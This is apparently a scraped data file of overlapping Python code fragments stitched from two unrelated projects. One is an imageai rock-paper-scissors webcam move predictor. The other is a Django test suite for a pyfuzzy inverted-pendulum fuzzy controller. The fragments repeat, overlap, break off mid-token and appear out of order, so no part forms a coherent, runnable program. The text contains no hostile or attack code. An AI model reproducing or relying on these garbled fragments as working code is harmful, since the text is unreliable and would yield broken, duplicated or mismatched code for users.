"2 class ModelTypeEnum(Enum): \"\"\" An helper enum to help for model type choice",
"Set path to the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") )",
"Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0 PAPER",
"in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0 PAPER = 1 SCISSORS",
"= 3 class RockPaperScissorsPredictor: \"\"\" This class contains the required code for model",
"# Get a tuple (class_predicted, probability) that contains the best # prediction best_prediction",
"x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = {",
"a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x:",
"trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set path to",
"picture, result_count=3, input_type=\"array\" ) # Get a tuple (class_predicted, probability) that contains the",
"Set the model type of the neural network (it must be the same",
"We have 3 different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type = model_type self.class_number",
"1 INCEPTIONV3 = 2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This class contains",
"class_number=3, # We have 3 different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type =",
"Instantiate the CustomImagePrediction object that will predict our moves self.predictor = CustomImagePrediction() #",
"\"data\", \"move_detector\", \"model_class.json\") ) # Load the trained model and set it to",
"\"model_class.json\") ) # Load the trained model and set it to use \"class_number\"",
"imageai.Prediction.Custom import CustomImagePrediction # Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum):",
"ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET:",
"CustomImagePrediction object that will predict our moves self.predictor = CustomImagePrediction() # Set the",
"\"\"\" This class contains the required code for model training and move prediction",
"lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP",
"will predict our moves self.predictor = CustomImagePrediction() # Set the model type of",
"code for model training and move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP =",
"\"scissors\" ): self.model_type = model_type self.class_number = class_number self.base_path = os.getcwd() # Instantiate",
"# Instantiate the CustomImagePrediction object that will predict our moves self.predictor = CustomImagePrediction()",
"\"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different",
"contains our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) #",
"CustomImagePrediction() # Set the model type of the neural network (it must be",
"result_count=3, input_type=\"array\" ) # Get a tuple (class_predicted, probability) that contains the best",
"class_number self.base_path = os.getcwd() # Instantiate the CustomImagePrediction object that will predict our",
"model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set path to the",
"trained model and set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type):",
"probability) that contains the best # prediction best_prediction = max( zip(predictions, probabilities), key=lambda",
"\"rock\", \"paper\", \"scissors\" ): self.model_type = model_type self.class_number = class_number self.base_path = os.getcwd()",
"self._set_proper_model_type(self.model_type) # Set path to the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\",",
"= class_number self.base_path = os.getcwd() # Instantiate the CustomImagePrediction object that will predict",
"classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load the",
"that contains our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") )",
"# Load the trained model and set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number)",
") # Get a tuple (class_predicted, probability) that contains the best # prediction",
"def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture,",
"\"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have",
"from enum import Enum from imageai.Prediction.Custom import CustomImagePrediction # Show only errors in",
"_set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3,",
"= 1 INCEPTIONV3 = 2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This class",
"This class contains the required code for model training and move prediction using",
"webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(),",
"Enum from imageai.Prediction.Custom import CustomImagePrediction # Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class",
"x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER,",
"{ ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(),",
"our moves self.predictor = CustomImagePrediction() # Set the model type of the neural",
"sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get a tuple",
"a tuple (class_predicted, probability) that contains the best # prediction best_prediction = max(",
"of the training) self._set_proper_model_type(self.model_type) # Set path to the trained model file self.predictor.setModelPath(",
"logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0 PAPER = 1 SCISSORS = 2",
") # Set path to the json file that contains our classes and",
"Load the trained model and set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def",
"2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This class contains the required code",
"moves self.predictor = CustomImagePrediction() # Set the model type of the neural network",
"os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set path to the json file that",
"only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0 PAPER =",
"contains the best # prediction best_prediction = max( zip(predictions, probabilities), key=lambda x: x[1]",
"enum import Enum from imageai.Prediction.Custom import CustomImagePrediction # Show only errors in console",
"network (it must be the same of the training) self._set_proper_model_type(self.model_type) # Set path",
"1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An helper enum to help for",
"path to the json file that contains our classes and their labels self.predictor.setJsonPath(",
"x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(),",
"the required code for model training and move prediction using a webcam \"\"\"",
"self.predictor = CustomImagePrediction() # Set the model type of the neural network (it",
"import logging import os from enum import Enum from imageai.Prediction.Custom import CustomImagePrediction #",
"__init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different objects: \"rock\", \"paper\", \"scissors\"",
"# Set path to the json file that contains our classes and their",
"model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\"",
"probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get a tuple (class_predicted, probability)",
"lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda",
"import os from enum import Enum from imageai.Prediction.Custom import CustomImagePrediction # Show only",
"that contains the best # prediction best_prediction = max( zip(predictions, probabilities), key=lambda x:",
"the training) self._set_proper_model_type(self.model_type) # Set path to the trained model file self.predictor.setModelPath( os.path.join(self.base_path,",
"def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different objects: \"rock\", \"paper\",",
"it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture,",
"best # prediction best_prediction = max( zip(predictions, probabilities), key=lambda x: x[1] ) if",
"{ \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3,",
"ModelTypeEnum(Enum): \"\"\" An helper enum to help for model type choice \"\"\" RESNET",
"\"move_detector\", \"model.h5\") ) # Set path to the json file that contains our",
"have 3 different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type = model_type self.class_number =",
"3 class RockPaperScissorsPredictor: \"\"\" This class contains the required code for model training",
"self.class_number = class_number self.base_path = os.getcwd() # Instantiate the CustomImagePrediction object that will",
"(it must be the same of the training) self._set_proper_model_type(self.model_type) # Set path to",
"PAPER = 1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An helper enum to",
"helper enum to help for model type choice \"\"\" RESNET = 0 SQEEZENET",
"from imageai.Prediction.Custom import CustomImagePrediction # Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int,",
"the best # prediction best_prediction = max( zip(predictions, probabilities), key=lambda x: x[1] )",
"\"move_detector\", \"model_class.json\") ) # Load the trained model and set it to use",
"import CustomImagePrediction # Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK",
"self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" )",
"class contains the required code for model training and move prediction using a",
"self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage("
] |
[
"Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow,",
"= Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow']",
"for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2,",
"fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for arg in inspect.getargspec(defuzzify.__init__).args: if",
"OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective",
"fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only a given",
"pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy() for var",
"= self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import",
"= angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] =",
"input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"]",
"lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set",
"\" shoud return the correct corresponding Model for the pyfuzzy object \" pyfuzzy_system_expected",
": self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all",
"from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon COM",
"Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow, #",
"InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon",
"new instance of same value, and changing the corresponding rule \" from fuzzy_modeling.models",
"= SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2) ]",
"arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test",
"adj) ) def _test_set(self, set, new_set): \" test only a given set \"",
"'INF' and arg != 'ACC': params.append(arg) # will raise this exception when the",
"] # mocking inputvariablemodel_set # inputvariablemodel_set = lambda : None inputvariablemodel_set = mock.Mock()",
"from fuzzy_modeling.models.systems import SystemModel from fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def setUp(self):",
"system.rules['far left'] = Rule( adjective=a_left_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]),",
"adj.getMembership() new_membership = new_adj.getMembership() # if membership != new_membership: # import pdb; pdb.set_trace()",
"from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)]))",
"not None and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership",
"return the correct outout when only changing the set to a SetModel in",
"to control the inverted pendulum into an upright position as well as at",
") system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow, # it gets its value",
"= self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon",
"defuzzify.__class__) params = [] try: for arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self'",
"self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \"",
"here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast, # it gets its",
"Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow, # it",
"= getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM)",
"= 0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"] =",
"when changing all the sets to the new instance of same value \"",
"self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set",
"ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] =",
"for arg in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) # will raise this",
"i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = { 'a' : 0.0 #:",
"new_membership, msg=\"%s != %s in %s\" % (membership, new_membership, adj) ) def _test_set(self,",
"self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding Model for the",
"should return the correct outout when only changing the outputvar to a OutputVariableModel",
"DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] =",
"fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound",
"Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)]))",
"math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s] i_dict1 =",
"[m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work",
"the set to a SetModel in th System \" from fuzzy_modeling.models import AdjectiveModel",
"a given set \" self.assertIsInstance(new_set, set.__class__) params = [] try: for arg in",
"are the same instance of an output adj\" outputs_adjs = [] for var_name,",
"inspect import mock from django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems",
"math.radians(90.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 =",
"operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw",
"pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct",
"'self' and arg != 'INF' and arg != 'ACC': params.append(arg) # will raise",
"far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) #",
"Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected",
"AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ),",
"= [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2) ] self.rules_mock = [",
"COG # set defuzzification method and default norms INF = AlgebraicProduct() ACC =",
"outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \"",
"AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG # set defuzzification method",
"= Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name",
"AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ),",
"systme=None: name return var def _mock_systemModel(self): self.system_description = \"System description\" self.system = SystemModel(description=self.system_description)",
"rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \" test only",
"second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow =",
"[m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'],",
"!= new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s in",
"Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right']",
"= a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast =",
"acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max import Max",
"fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum",
"AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ),",
"for adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input",
"def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work changing a single rule\" from fuzzy.Rule import Rule",
"its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"])",
"rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set",
"#: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = {",
"object.__init__) except TypeError: pass for param_name in params: arg = getattr(set, param_name) new_arg",
"if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp =",
"new_pyfuzzy_system.variables[\"a\"].adjectives[\"right_fast\"] far_right = Rule( adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]),",
"system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system)",
"= AlgebraicSum() COM = AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0.,",
"self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)):",
"from fuzzy.defuzzify.COG import COG # set defuzzification method and default norms INF =",
"this exception when the given type don't implement a __init__ function # (never",
"[m/s²] } output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1,",
"= a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max import Max #from",
"var.unit) for adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is",
"= Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math",
"pyfuzzy. This is the reason, it uses different fuzzy norm in normally symmetrical",
"inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) # will raise this exception when the",
"fuzzy_modeling.models import RuleModel from fuzzy.Rule import Rule from fuzzy.operator.Input import Input from fuzzy.norm.AlgebraicProduct",
"[m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return",
"def _test_operator(self, operator, new_operator): \"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__",
"inputvariablemodel_set = lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock",
"SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast'",
"the object.__init__) except TypeError: pass for param_name in params: arg = getattr(defuzzify, param_name)",
"= new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ ==",
"math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s] i_dict1 =",
"= \"System description\" self.system = SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for",
"return the correct corresponding pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy()",
"self.assertIsInstance(new_norm, norm.__class__) params = [] try: for arg in inspect.getargspec(norm.__init__).args: if arg !=",
"new_fuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify,",
"in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max)",
"in %s\" % (membership, new_membership, adj) ) def _test_set(self, set, new_set): \" test",
"for arg in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) # will raise this",
"= new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s in %s\" % (op_call, new_op_call,",
"= getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog = None new_cog",
"def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__)",
"acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM)",
